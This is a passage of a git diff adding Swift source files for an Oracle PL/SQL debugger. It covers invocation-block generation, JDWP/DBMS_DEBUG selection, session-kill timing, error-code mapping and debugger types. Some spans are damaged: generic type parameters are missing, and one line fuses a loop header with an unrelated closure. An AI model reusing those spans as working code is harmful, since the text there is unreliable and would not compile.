"-", omittingEmptySubsequences: false) + .map { $0.trimmingCharacters(in: .whitespaces) } + guard (1...2).contains(parts.count) else { return nil } + let numbers = parts.compactMap { UInt16($0) } + guard numbers.count == parts.count, let low = numbers.first, low > 0 else { return nil } + let high = numbers.last ?? low + guard high >= low else { return nil } + return low...high + } + + public static let defaultPorts = "4000-4999" + + // MARK: - Errors + + // Every ORA- code in a server message, in order; the first is the error, the rest its stack. + public static func errorCodes(in message: String) -> [Int] { + var codes: [Int] = [] + var remainder = Substring(message) + while let range = remainder.range(of: "ORA-") { + let digits = remainder[range.upperBound...].prefix { $0.isNumber } + if let code = Int(digits) { codes.append(code) } + remainder = remainder[range.upperBound...] + } + return codes + } + + public static func jdwpFailure(fromMessage message: String) -> OracleJDWPFailure { + let codes = errorCodes(in: message) + let upper = message.uppercased() + if codes.contains(24_247) { return .accessControlList } + if codes.contains(1_031) { return .missingPrivilege } + if codes.contains(30_683) || codes.contains(30_698) || codes.contains(30_681) || codes.contains(30_682) { + return .unreachable(message) + } + // Autonomous AI Database lists the package as unavailable; the CALL then cannot resolve it. + if upper.contains("DBMS_DEBUG_JDWP"), codes.contains(where: { [6_576, 904, 6_550, 4_067, 6_508, 942].contains($0) }) { + return .packageUnavailable + } + if codes.contains(6_576) || codes.contains(904) { return .packageUnavailable } + return .other(message) + } + + // MARK: - Invocation + + public struct Invocation: Sendable, Equatable { + public let block: String + public let binds: [OracleBindValue] + } + + public enum InvocationError: Error, Sendable, Equatable { + // Text cannot become a value of this type; NULL or the default still can. + case unsupportedArgument(name: String, typeName: String) + // No local of this type can be declared, so not even NULL can be passed. + case undeclarableArgument(name: String, typeName: String) + case undeclarableResult(typeName: String) + } + + // Runs the entry point and reports, through the payload: `S` or `F`, the error text, the number of outputs, each + // output's name and value, then every DBMS_OUTPUT line. A failure is caught so the routine's output survives it; + // the caller rolls back. + public static func invocation( + of entryPoint: OracleDebugEntryPoint, + arguments: [String: OracleDebugArgumentValue], + maxOutputLines: Int = 10_000 + ) throws -> Invocation { + var declarations: [String] = [] + var prologue: [String] = [] + var callArguments: [String] = [] + var outputs: [(name: String, expression: String)] = [] + var binds: [OracleBindValue] = [] + + func bind(_ value: String) -> String { + binds.append(.text(value)) + return ":\(binds.count)" + } + + for (index, parameter) in entryPoint.parameters.enumerated() { + let value = arguments[parameter.name] ?? (parameter.hasDefault ? .defaultValue : .null) + if parameter.mode == .input, value == .defaultValue, parameter.hasDefault { + continue + } + // Every argument is a local of the parameter's own type, NULL included: Oracle picks an overload by the + // types it is given, and a bare NULL or a text bind matches more than one. + guard let declaration = parameter.declaration else { + throw InvocationError.undeclarableArgument(name: parameter.name, typeName: parameter.displayType) + } + let local = "l_arg\(index + 1)" + declarations.append(" \(local) \(declaration);") + if parameter.mode != .output, case .text(let text) = value { + guard let expression = parameter.inputExpression(bindReference: bind(text)) else { + throw InvocationError.unsupportedArgument(name: parameter.name, typeName: parameter.displayType) + } + prologue.append(" \(local) := \(expression);") + } + callArguments.append("\(OracleDebugUnit.quote(parameter.name)) => \(local)") + if parameter.mode != .input, let text = parameter.textExpression(of: local) { + outputs.append((parameter.name, text)) + } + } + + var target = OracleDebugUnit.quote(entryPoint.entry.unit.owner) + if entryPoint.entry.isPackaged { + target += "." + OracleDebugUnit.quote(entryPoint.entry.unit.name) + } + target += "." + OracleDebugUnit.quote(entryPoint.entry.subprogram) + let call = callArguments.isEmpty ? target : "\(target)(\(callArguments.joined(separator: ", ")))" + + var statement = "\(call);" + if let result = entryPoint.result { + guard let declaration = result.declaration else { + throw InvocationError.undeclarableResult(typeName: result.displayType) + } + declarations.append(" l_result \(declaration);") + statement = "l_result := \(call);" + if let text = result.textExpression(of: "l_result") { + outputs.insert((entryPoint.entry.subprogram, text), at: 0) + } + } + + let outputLines = outputs.map { " put(\(OracleDebugUnit.literal($0.name)));\n put(\($0.expression));" } + let block = """ + DECLARE + l_failed BOOLEAN := FALSE; + l_error VARCHAR2(32767); + l_line VARCHAR2(32767); + l_status INTEGER; + l_lines PLS_INTEGER := 0; + \(declarations.joined(separator: "\n")) + \(OracleDebugPayload.declarations) + BEGIN + \(prologue.joined(separator: "\n")) + BEGIN + \(statement) + EXCEPTION + WHEN OTHERS THEN + l_failed := TRUE; + l_error := SQLERRM; + END; + IF l_failed THEN + put('F'); + put(l_error); + put('0'); + ELSE + put('S'); + put(NULL); + put('\(outputs.count)'); + \(outputLines.joined(separator: "\n")) + END IF; + LOOP + EXIT WHEN l_lines >= \(maxOutputLines); + EXECUTE IMMEDIATE 'CALL SYS.DBMS_OUTPUT.GET_LINE(:1, :2)' USING OUT l_line, OUT l_status; + EXIT WHEN l_status <> 0; + put(l_line); + l_lines := l_lines + 1; + END LOOP; + \(OracleDebugPayload.openCursor) + END; + """ + return Invocation(block: block, binds: binds) + } + + public enum Ambiguity: Sendable, Equatable { + // Leaving these parameters at their defaults leaves nothing to tell this overload from another. + case needsValue([String]) + // The call matches another overload whatever values are given (PLS-00307). + case unresolvable + } + + // Oracle picks an overload by the named arguments it is given, so leaving out defaulted ones can leave two + // overloads that both fit, and the call fails with PLS-00307 (`p(x NUMBER DEFAULT 1)` and + // `p(x VARCHAR2 DEFAULT 'a')`, both started with the default). ALL_ARGUMENTS cannot give the default's value to + // pass instead, so the person has to give one. + public static func ambiguity( + of entryPoint: OracleDebugEntryPoint, + arguments: [String: OracleDebugArgumentValue], + overloads: [OracleDebugEntryPoint] + ) -> Ambiguity? { + func value(of parameter: OracleDebugParameter) -> OracleDebugArgumentValue { + arguments[parameter.name] ?? (parameter.hasDefault ? .defaultValue : .null) + } + let omitted = entryPoint.parameters.filter { $0.mode == .input && $0.hasDefault && value(of: $0) == .defaultValue } + let passed = entryPoint.parameters.filter { parameter in !omitted.contains { $0.name == parameter.name } } + for other in overloads where other.entry.unit == entryPoint.entry.unit + && other.entry.subprogram == entryPoint.entry.subprogram + && other.entry.subprogramID != entryPoint.entry.subprogramID + && (other.result == nil) == (entryPoint.result == nil) { + let takesEveryPassed = passed.allSatisfy { parameter in + other.parameters.contains { $0.name == parameter.name && $0.declaration == parameter.declaration } + } + let needsNothingElse = other.parameters.allSatisfy { parameter in + passed.contains { $0.name == parameter.name } || (parameter.mode == .input && parameter.hasDefault) + } + guard takesEveryPassed, needsNothingElse else { continue } + let distinguishing = omitted.filter { parameter in + !other.parameters.contains { $0.name == parameter.name && $0.declaration == parameter.declaration } + } + return distinguishing.isEmpty ? .unresolvable : .needsValue(distinguishing.map(\.name)) + } + return nil + } + + public struct InvocationReport: Sendable, Equatable { + public let succeeded: Bool + public let error: String? + public let outputs: [(name: String, value: String?)] + public let lines: [String] + + public static func == (lhs: InvocationReport, rhs: InvocationReport) -> Bool { + lhs.succeeded == rhs.succeeded && lhs.error == rhs.error && lhs.lines == rhs.lines + && lhs.outputs.map(\.name) == rhs.outputs.map(\.name) + && lhs.outputs.map(\.value) == rhs.outputs.map(\.value) + } + } + + public static func invocationReport(fromPayload fields: [String?]) throws -> InvocationReport { + var reader = OracleDebugPayloadReader(fields) + let status = try reader.next() + let error = try reader.next() + let count = try reader.int() ?? 0 + var outputs: [(name: String, value: String?)] = [] + for _ in 0.. String? in + guard let part, !part.isEmpty else { return nil } + return OracleDebugUnit.quote(part) + }.joined(separator: ".") + } + + // An integer subtype with NOT NULL or a range cannot be declared bare; PLS_INTEGER holds every one of them. + private var numberDeclaration: String { + switch (plsType ?? dataType).uppercased() { + case "BINARY_FLOAT": return "BINARY_FLOAT" + case "BINARY_DOUBLE": return "BINARY_DOUBLE" + case "PLS_INTEGER", "BINARY_INTEGER", "PL/SQL PLS INTEGER", "PL/SQL BINARY INTEGER", "NATURAL", "NATURALN", + "POSITIVE", "POSITIVEN", "SIMPLE_INTEGER", "SIGNTYPE": + return "PLS_INTEGER" + default: return "NUMBER" + } + } + + // The text the person typed, converted explicitly to the parameter's type in the session's NLS formats. + func inputExpression(bindReference: String) -> String? { + guard let scalar else { return nil } + switch scalar { + case .text: return bindReference + case .nationalText: return "TO_NCHAR(\(bindReference))" + case .number: + switch numberDeclaration { + case "BINARY_FLOAT": return "TO_BINARY_FLOAT(\(bindReference))" + case "BINARY_DOUBLE": return "TO_BINARY_DOUBLE(\(bindReference))" + default: return "TO_NUMBER(\(bindReference))" + } + case .date: return "TO_DATE(\(bindReference))" + case .timestamp(let declaration): + return declaration.hasSuffix("WITH TIME ZONE") && !declaration.contains("LOCAL") + ? "TO_TIMESTAMP_TZ(\(bindReference))" + : "TO_TIMESTAMP(\(bindReference))" + case .interval(let declaration): + return declaration.hasPrefix("INTERVAL YEAR") ? "TO_YMINTERVAL(\(bindReference))" : "TO_DSINTERVAL(\(bindReference))" + case .raw: return "HEXTORAW(\(bindReference))" + case .characterLOB: return dataType.uppercased() == "NCLOB" ? "TO_NCLOB(\(bindReference))" : "TO_CLOB(\(bindReference))" + case .binaryLOB: return nil + case .rowID: return "CHARTOROWID(\(bindReference))" + case .bfile: return nil + case .boolean: + return "CASE UPPER(TRIM(\(bindReference))) WHEN 'TRUE' THEN TRUE WHEN 'FALSE' THEN FALSE " + + "WHEN '1' THEN TRUE WHEN '0' THEN FALSE END" + } + } + + func textExpression(of variable: String) -> String? { + guard let scalar else { return nil } + switch scalar { + case .text, .nationalText: return "TO_CHAR(\(variable))" + case .number, .date, .timestamp, .interval: return "TO_CHAR(\(variable))" + case .raw: return "RAWTOHEX(\(variable))" + case .characterLOB: return "TO_CHAR(SUBSTR(\(variable), 1, \(OracleDebugPayload.fieldLimit)))" + case .binaryLOB: return nil + case .rowID: return "ROWIDTOCHAR(\(variable))" + case .bfile: return nil + case .boolean: return "CASE WHEN \(variable) THEN 'TRUE' WHEN NOT \(variable) THEN 'FALSE' END" + } + } +} + +// Which interface to try first, and what to do when JDWP cannot connect: Oracle SQL Developer's model, where the +// database connects back over JDWP and DBMS_DEBUG covers networks that block it. +public enum OracleDebugProtocolPreference: String, Sendable, CaseIterable { + case automatic + case jdwp + case dbmsDebug + + public static let fieldID = "oracleDebugProtocol" + public static let hostFieldID = "oracleDebuggerHost" + public static let portsFieldID = "oracleDebuggerPorts" +} + +public enum OracleDebugProtocolDecision: Sendable, Equatable { + case jdwp + case dbmsDebug(OracleDebugProbeReason) + case fallBack + case fail + + public static func initial(preference: OracleDebugProtocolPreference, host: String) -> OracleDebugProtocolDecision { + switch preference { + case .dbmsDebug: + return .dbmsDebug(.chosen) + case .jdwp: + // Without a host CONNECT_TCP has nowhere to connect; say so before any session opens. + return host.trimmingCharacters(in: .whitespaces).isEmpty ? .fail : .jdwp + case .automatic: + return host.trimmingCharacters(in: .whitespaces).isEmpty ? .dbmsDebug(.noDebuggerHost) : .jdwp + } + } + + // DBMS_DEBUG needs the same DEBUG CONNECT SESSION, so a privilege failure is final; so is anything unrecognized. + public static func afterJDWPFailure( + _ failure: OracleJDWPFailure, + preference: OracleDebugProtocolPreference + ) -> OracleDebugProtocolDecision { + guard preference == .automatic else { return .fail } + switch failure { + case .accessControlList, .unreachable, .packageUnavailable, .timedOut, .noFreePort, .handshakeFailed, .unexpectedPeer: + return .fallBack + case .missingPrivilege, .noDebuggerHost, .other: + return .fail + } + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift new file mode 100644 index 0000000000..d973007ed7 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift @@ -0,0 +1,37 @@ +import Foundation + +// `stop()` returns within 3 seconds: the host closes the session's transport 5 seconds after asking, and over a tunnel +// nothing reaches the server after that. +public enum OracleDebugStopBudget { + public static let total: Duration = .seconds(3) + // Kept back from the total for the rollback and detach that follow the target's end. + public static let cleanup: Duration = .milliseconds(500) + + public enum KillOutcome: Sendable, Equatable { + // ORA-00031 "session marked for kill": the server ends the session at its next check (measured within a second). + case marked + // ORA-01031 without ALTER SYSTEM, or no SERIAL# to name the session. + case refused + } + + // A DBMS_DEBUG target running between breakpoints reads nothing the supervisor sends, so the kill goes first, with + // no grace period; what is left of the budget waits for the end, which a refused kill leaves to the routine itself. + static func endRunningTarget( + isolation: isolated (any Actor)? = #isolation, + clock: C, + budget: Duration = total - cleanup, + kill: () async -> KillOutcome, + waitForEnd: (Duration) async -> Bool + ) async -> Bool where C.Duration == Duration { + let deadline = clock.now.advanced(by: budget) + _ = await kill() + let remaining = clock.now.duration(to: deadline) + guard remaining > .zero else { return false } + return await waitForEnd(remaining) + } + + static func seconds(_ duration: Duration) -> Double { + let components = duration.components + return Double(components.seconds) + Double(components.attoseconds) / 1e18 + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift new file mode 100644 index 0000000000..c15b5ac656 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift @@ -0,0 +1,177 @@ +import Foundation +import os + +enum OracleDebugSupport { + // Waits for `task` for at most `seconds`; nil when it is still running. The task keeps running either way. + static func value(of task: Task, within seconds: Double) async -> T? { + let slot = OSAllocatedUnfairLock?>(initialState: nil) + let take: @Sendable () -> CheckedContinuation? = { + slot.withLock { stored in + let continuation = stored + stored = nil + return continuation + } + } + return await withCheckedContinuation { continuation in + slot.withLock { $0 = continuation } + Task { + let value = await task.value + take()?.resume(returning: value) + } + Task { + try? await Task.sleep(nanoseconds: OracleQueryTimeout.nanoseconds(seconds)) + take()?.resume(returning: nil) + } + } + } + + // The call ending proves the target session ended only when the server answered it: the call returned, or failed + // with an ORA- error the server sent. A call that failed because its own transport did (a dropped connection, a + // closed tunnel) may have left that session running in the server and holding its locks. + static func endedOnServer(_ result: Result<[String?], Error>) -> Bool { + guard case .failure(let error) = result else { return true } + if case .server(let code, _) = error as? OracleDebugError { + return code != nil + } + guard case .queryFailed(let message) = error as? OracleCoreError else { return false } + return !OracleDebugStatements.errorCodes(in: message).isEmpty + } + + // False while the call runs past `seconds`, and for a call that ended without the server's answer. + static func endedOnServer(_ call: Task, Never>, within seconds: Double) async -> Bool { + await value(of: call, within: seconds).map(endedOnServer) ?? false + } + + static func rows(_ result: OracleRawResult) -> [[String?]] { + result.rows.map { row in row.map(\.stringValue) } + } + + static func source(of unit: OracleDebugUnit, on connection: any OracleDebugChannel) async throws -> String { + let result = try await connection.executeQuery(OracleDebugStatements.source(of: unit)) + let lines = rows(result).compactMap { row -> (line: Int, text: String?)? in + guard let line = row.first.flatMap({ $0 }).flatMap({ Int($0.trimmingCharacters(in: .whitespaces)) }) + else { return nil } + return (line, row.count > 1 ? row[1] : nil) + } + guard !lines.isEmpty else { throw OracleDebugError.unitNotFound } + return OracleDebugStatements.assembleSource(rows: lines) + } + + static func executableLines(of unit: OracleDebugUnit, on connection: any OracleDebugChannel) async throws -> [Int]? { + let fields = try await payload(OracleDBMSDebugStatements.lineMap(of: unit), on: connection) + return try OracleDBMSDebugStatements.executableLines(fromPayload: fields) + } + + static func payload( + _ block: String, + binds: [OracleBindValue] = [], + autoCommit: Bool = false, + on connection: any OracleDebugChannel + ) async throws -> [String?] { + let pieces = try await connection.executeDirect(block, binds: binds, autoCommit: autoCommit, readsRows: true) + do { + return try OracleDebugPayload.parse(OracleDebugPayload.join(pieces: pieces)) + } catch { + throw OracleDebugError.unreadableAnswer + } + } + + // How long the routine's call gets to return once the debugger has seen it end or lost the target. + static let callEndWait: Duration = .seconds(30) + + // The routine's own result: its outputs on success; a rollback otherwise, and always after Stop. Nil is a call + // still running, which holds the target's gate: a ROLLBACK would queue behind it with no bound. + static func conclude( + _ result: Result<[String?], Error>?, + stopped: Bool, + entryPoint: OracleDebugEntryPoint, + target: any OracleDebugChannel, + targetIdentity: OracleDebugSessionIdentity?, + notice: @Sendable (OracleDebugNotice) -> Void + ) async -> OracleDebugStop { + guard let result else { return .failed(.stillRunning(targetIdentity)) } + let report: OracleDebugStatements.InvocationReport? + switch result { + case .success(let pieces): + report = try? OracleDebugStatements.invocationReport( + fromPayload: OracleDebugPayload.parse(OracleDebugPayload.join(pieces: pieces)) + ) + case .failure: + report = nil + } + for line in report?.lines ?? [] { + notice(.serverOutput(line)) + } + if !stopped, let report, report.succeeded { + do { + _ = try await target.executeDirect("COMMIT") + } catch { + return .failed(.connectionLost(Self.message(of: error))) + } + return .finished(outcome(of: report, entryPoint: entryPoint)) + } + _ = try? await target.executeDirect("ROLLBACK") + if stopped { return .failed(.stopped) } + if let report { + return .failed(.routineFailed(report.error ?? "")) + } + if case .failure(let error) = result { + // Only the server's own error says the routine failed and rolled back; a dropped connection says neither. + guard endedOnServer(result) else { return .failed(.connectionLost(Self.message(of: error))) } + return .failed(.routineFailed(Self.message(of: error))) + } + return .failed(.connectionLost(nil)) + } + + static func outcome(of report: OracleDebugStatements.InvocationReport, entryPoint: OracleDebugEntryPoint) -> OracleDebugOutcome { + var types: [String: String] = [:] + for parameter in entryPoint.parameters { + types[parameter.name] = parameter.displayType + } + if let result = entryPoint.result { + types[entryPoint.entry.subprogram] = result.displayType + } + return OracleDebugOutcome(values: report.outputs.map { + OracleDebugOutcome.Value(name: $0.name, typeName: types[$0.name] ?? "", value: $0.value) + }) + } + + // The target's SID and SERIAL#, read before it is attached to a debugger, so its own PL/SQL does not stop it. + static func sessionIdentity(of connection: any OracleDebugChannel) async -> OracleDebugSessionIdentity? { + for query in OracleDBMSDebugStatements.sessionIdentityQueries { + guard let row = try? await connection.executeQuery(query).rows.first?.map(\.stringValue), + let identity = OracleDBMSDebugStatements.sessionIdentity(fromRow: row) else { continue } + return identity + } + return nil + } + + // The server ends a killed session at its next check, even inside a loop or a SQL statement, and rolls its work + // back. ORA-00031 "session marked for kill" is that taking effect on a busy session (measured: the target then + // failed with ORA-00028); ORA-01031 is a session without ALTER SYSTEM. + // A read Stop overlaps holds the connection's gate first; past `seconds` the channel is closed, which ends both. + static func kill( + _ identity: OracleDebugSessionIdentity?, + from connection: any OracleDebugChannel, + within seconds: Double + ) async -> OracleDebugStopBudget.KillOutcome { + guard let identity, let statement = OracleDBMSDebugStatements.killSession(identity), seconds > 0 else { + return .refused + } + do { + _ = try await withOracleTimeout(seconds: seconds, onTimeout: { connection.cancelCurrentQuery() }) { + try await connection.executeDirect(statement) + } + return .marked + } catch { + return OracleDebugStatements.errorCodes(in: message(of: error)).contains(31) ? .marked : .refused + } + } + + static func message(of error: Error) -> String { + if let core = error as? OracleCoreError { + return core.errorDescription ?? String(describing: core) + } + return String(describing: error) + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift new file mode 100644 index 0000000000..357e646788 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift @@ -0,0 +1,181 @@ +import Foundation + +public enum OracleDebugMechanism: String, Sendable, Hashable, CaseIterable { + case jdwp + case dbmsDebug +} + +public enum OracleDebugCommand: Sendable, Hashable { + case continueExecution + case stepOver + case stepInto + case stepOut +} + +public struct OracleDebugLocation: Sendable, Hashable { + public let unit: OracleDebugUnit + public let line: Int + + public init(unit: OracleDebugUnit, line: Int) { + self.unit = unit + self.line = line + } +} + +public struct OracleDebugOutcome: Sendable, Equatable { + public struct Value: Sendable, Equatable { + public let name: String + public let typeName: String + public let value: String? + + public init(name: String, typeName: String, value: String?) { + self.name = name + self.typeName = typeName + self.value = value + } + } + + // The function's result first, then each OUT and IN OUT parameter whose value can be shown as text. + public let values: [Value] + + public init(values: [Value]) { + self.values = values + } +} + +public enum OracleDebugStop: Sendable, Equatable { + case paused(OracleDebugLocation) + case finished(OracleDebugOutcome) + case failed(OracleDebugFailure) +} + +public enum OracleDebugFailure: Sendable, Equatable { + // The routine raised; the server's own message. + case routineFailed(String) + case stopped + // Stop could not end a routine running between breakpoints under DBMS_DEBUG; it ends on its own. + case stillRunning(OracleDebugSessionIdentity?) + case connectionLost(String?) +} + +public enum OracleDebugStopResult: Sendable, Equatable { + // The routine's call ended, so its uncommitted work is rolled back and its locks are gone. + case ended + // Nothing confirmed the end inside the budget; the session may still run and hold locks. + case unconfirmed(OracleDebugSessionIdentity?) +} + +public struct OracleDebugSessionIdentity: Sendable, Hashable { + public let sid: Int + public let serial: Int? + // On RAC a SID and SERIAL# name a session only within its instance, and the kill may go through another one. + public let instance: Int? + + public init(sid: Int, serial: Int?, instance: Int? = nil) { + self.sid = sid + self.serial = serial + self.instance = instance + } +} + +public struct OracleDebugFrame: Sendable, Hashable { + public let level: Int + public let location: OracleDebugLocation + public let subprogram: String? + + public init(level: Int, location: OracleDebugLocation, subprogram: String?) { + self.level = level + self.location = location + self.subprogram = subprogram + } +} + +public enum OracleDebugVariableKind: Sendable, Hashable { + case argument + case local + case package +} + +public struct OracleDebugVariable: Sendable, Hashable { + public let name: String + public let kind: OracleDebugVariableKind + public let typeName: String? + public let value: OracleDebugValue + public let isConstant: Bool + + public init(name: String, kind: OracleDebugVariableKind, typeName: String?, value: OracleDebugValue, isConstant: Bool) { + self.name = name + self.kind = kind + self.typeName = typeName + self.value = value + self.isConstant = isConstant + } +} + +// Things the person should read in the debugger's output: the engine says what happened, the plugin words it. +public enum OracleDebugNotice: Sendable, Equatable { + case connectedOverJDWP(host: String, port: Int) + case fellBack(OracleJDWPFailure, host: String, port: Int) + case usingDBMSDebug(reason: OracleDebugProbeReason) + case breakpointHasNoCode(unit: OracleDebugUnit, line: Int) + case breakpointMoved(unit: OracleDebugUnit, from: Int, to: Int) + case serverOutput(String) +} + +public enum OracleDebugProbeReason: Sendable, Equatable { + case chosen + case noDebuggerHost +} + +public enum OracleDebugError: Error, Sendable, Equatable { + case privilegeMissing(String) + case server(code: Int?, message: String) + case jdwp(OracleJDWPFailure) + case notPaused + case ended + case unsupportedArgument(name: String, typeName: String) + case undeclarableArgument(name: String, typeName: String) + // Leaving these defaulted parameters out would match another overload of the subprogram too. + case ambiguousDefaults(subprogram: String, parameters: [String]) + case ambiguousCall(subprogram: String) + // A JDWP command the database answered with an error code. + case debuggerRefused(code: Int) + // A DBMS_DEBUG answer that does not parse. + case unreadableAnswer + case unitNotFound + case malformedReply + // A JDWP command got no answer within the reply timeout; the connection, and with it the target, was closed. + case debuggerStoppedAnswering +} + +// Why the database did not connect back over JDWP. Each but `missingPrivilege` and `other` falls back to DBMS_DEBUG. +public enum OracleJDWPFailure: Sendable, Equatable { + case accessControlList + case unreachable(String) + case packageUnavailable + case timedOut + case noFreePort + case handshakeFailed + // Explicit DBMS_DEBUG_JDWP with an empty Debugger Host. + case noDebuggerHost + // Connections came only from these addresses, none of them the database server's. + case unexpectedPeer([String]) + case missingPrivilege + case other(String) +} + +public protocol OracleDebugEngine: AnyObject, Sendable { + var mechanism: OracleDebugMechanism { get } + var supportsStepOut: Bool { get } + var notices: AsyncStream { get } + func firstStop() async throws -> OracleDebugStop + func perform(_ command: OracleDebugCommand) async throws -> OracleDebugStop + func stack() async throws -> [OracleDebugFrame] + func variables(inFrame level: Int) async throws -> [OracleDebugVariable] + // The line the breakpoint landed on, or nil when the unit has no code there. + func setBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? + func removeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws + func source(of unit: OracleDebugUnit) async throws -> String + // Returns within 3 seconds, whatever call it overlaps; that call then ends promptly. + func stop() async -> OracleDebugStopResult +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift new file mode 100644 index 0000000000..cb4194bdec --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift @@ -0,0 +1,187 @@ +import Foundation + +public enum OracleDebugUnitKind: String, Sendable, Hashable, CaseIterable { + case procedure = "PROCEDURE" + case function = "FUNCTION" + case package = "PACKAGE" + case packageBody = "PACKAGE BODY" + case trigger = "TRIGGER" + case type = "TYPE" + case typeBody = "TYPE BODY" + + // The middle of `$Oracle///`. Package, PackageBody, Procedure and Function are measured on + // 23.26; Trigger, Type and TypeBody follow the same naming and are not. + public var jdwpKind: String { + switch self { + case .procedure: return "Procedure" + case .function: return "Function" + case .package: return "Package" + case .packageBody: return "PackageBody" + case .trigger: return "Trigger" + case .type: return "Type" + case .typeBody: return "TypeBody" + } + } + + public init?(jdwpKind: String) { + guard let kind = Self.allCases.first(where: { $0.jdwpKind == jdwpKind }) else { return nil } + self = kind + } + + // DBMS_DEBUG namespaces: 1 holds specs and top-level units, 2 bodies, 3 triggers. + public var namespace: Int { + switch self { + case .procedure, .function, .package, .type: return 1 + case .packageBody, .typeBody: return 2 + case .trigger: return 3 + } + } + + // DBMS_DEBUG's LibunitType values (the KGLT constants). + public init?(namespace: Int, libunitType: Int) { + switch (namespace, libunitType) { + case (1, 7): self = .procedure + case (1, 8): self = .function + case (1, 9): self = .package + case (1, 13): self = .type + case (2, 11): self = .packageBody + case (2, 14): self = .typeBody + case (3, _): self = .trigger + default: return nil + } + } + + public var hasSubprograms: Bool { + self == .packageBody || self == .typeBody || self == .package || self == .type + } + + // The statement that compiles the unit with debug information, without touching its other settings. A package + // compiles only its body, so nothing that depends on the specification is invalidated. + public func compileForDebugStatement(owner: String, name: String) -> String { + let qualified = "\(OracleDebugUnit.quote(owner)).\(OracleDebugUnit.quote(name))" + let tail = "COMPILE PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS" + switch self { + case .procedure: return "ALTER PROCEDURE \(qualified) \(tail)" + case .function: return "ALTER FUNCTION \(qualified) \(tail)" + case .package, .packageBody: return "ALTER PACKAGE \(qualified) COMPILE BODY PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS" + case .trigger: return "ALTER TRIGGER \(qualified) \(tail)" + case .type, .typeBody: return "ALTER TYPE \(qualified) COMPILE BODY PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS" + } + } +} + +public struct OracleDebugUnit: Sendable, Hashable { + public let owner: String + public let name: String + public let kind: OracleDebugUnitKind + + public init(owner: String, name: String, kind: OracleDebugUnitKind) { + self.owner = owner + self.name = name + self.kind = kind + } + + // `TYPE/OWNER/NAME`, each part with `%` and `/` escaped: a quoted Oracle name may hold either. + public var identity: String { + [kind.rawValue, owner, name].map(Self.escape).joined(separator: "/") + } + + public init?(identity: String) { + let parts = Self.split(identity) + guard parts.count == 3, let kind = OracleDebugUnitKind(rawValue: parts[0]) else { return nil } + self.init(owner: parts[1], name: parts[2], kind: kind) + } + + // The body holds the code a package or type runs. + public var codeUnit: OracleDebugUnit { + switch kind { + case .package: return OracleDebugUnit(owner: owner, name: name, kind: .packageBody) + case .type: return OracleDebugUnit(owner: owner, name: name, kind: .typeBody) + default: return self + } + } + + public var jdwpSignature: String { + "L\(jdwpClassName);" + } + + // The ClassMatch pattern, which is the class name without the `L` and `;`. + public var jdwpClassName: String { + "$Oracle/\(kind.jdwpKind)/\(owner)/\(name)" + } + + // Nil for anonymous blocks, built-ins, Java classes, and the classes Oracle makes for local types, which carry + // extra path components (`$Oracle/Function/PROBE/F_CALC/F_CALC/T_NUMS`). + public init?(jdwpSignature: String) { + guard jdwpSignature.hasPrefix("L$Oracle/"), jdwpSignature.hasSuffix(";") else { return nil } + let path = jdwpSignature.dropFirst("L$Oracle/".count).dropLast() + let parts = path.split(separator: "/", omittingEmptySubsequences: false).map(String.init) + guard parts.count == 3, let kind = OracleDebugUnitKind(jdwpKind: parts[0]), + !parts[1].isEmpty, !parts[2].isEmpty else { return nil } + self.init(owner: parts[1], name: parts[2], kind: kind) + } + + public static func isAnonymousBlock(jdwpSignature: String) -> Bool { + jdwpSignature.hasPrefix("L$Oracle/Block/") + } + + // `L$Oracle/Builtin/NUMBER;` reads NUMBER; a local type reads its own name. + public static func typeName(fromJDWPSignature signature: String) -> String { + var text = Substring(signature) + if text.hasPrefix("L") { text = text.dropFirst() } + if text.hasSuffix(";") { text = text.dropLast() } + return String(text.split(separator: "/").last ?? text) + } + + public static func quote(_ identifier: String) -> String { + "\"\(identifier.replacingOccurrences(of: "\"", with: "\"\"", options: .literal))\"" + } + + public static func literal(_ text: String) -> String { + "'\(text.replacingOccurrences(of: "'", with: "''", options: .literal))'" + } + + static func escape(_ part: String) -> String { + part.replacingOccurrences(of: "%", with: "%25", options: .literal) + .replacingOccurrences(of: "/", with: "%2F", options: .literal) + } + + static func unescape(_ part: String) -> String { + part.replacingOccurrences(of: "%2F", with: "/", options: .literal) + .replacingOccurrences(of: "%25", with: "%", options: .literal) + } + + static func split(_ identity: String) -> [String] { + identity.split(separator: "/", omittingEmptySubsequences: false).map { unescape(String($0)) } + } +} + +// One public subprogram overload of a unit, or the standalone routine itself. +public struct OracleDebugEntry: Sendable, Hashable { + public let unit: OracleDebugUnit + public let subprogram: String + public let subprogramID: Int + + public init(unit: OracleDebugUnit, subprogram: String, subprogramID: Int) { + self.unit = unit + self.subprogram = subprogram + self.subprogramID = subprogramID + } + + public var identity: String { + unit.identity + "/" + OracleDebugUnit.escape(subprogram) + "/" + String(subprogramID) + } + + public init?(identity: String) { + let parts = OracleDebugUnit.split(identity) + guard parts.count == 5, let kind = OracleDebugUnitKind(rawValue: parts[0]), + let subprogramID = Int(parts[4]) else { return nil } + self.init( + unit: OracleDebugUnit(owner: parts[1], name: parts[2], kind: kind), + subprogram: parts[3], + subprogramID: subprogramID + ) + } + + public var isPackaged: Bool { unit.kind.hasSubprograms } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift 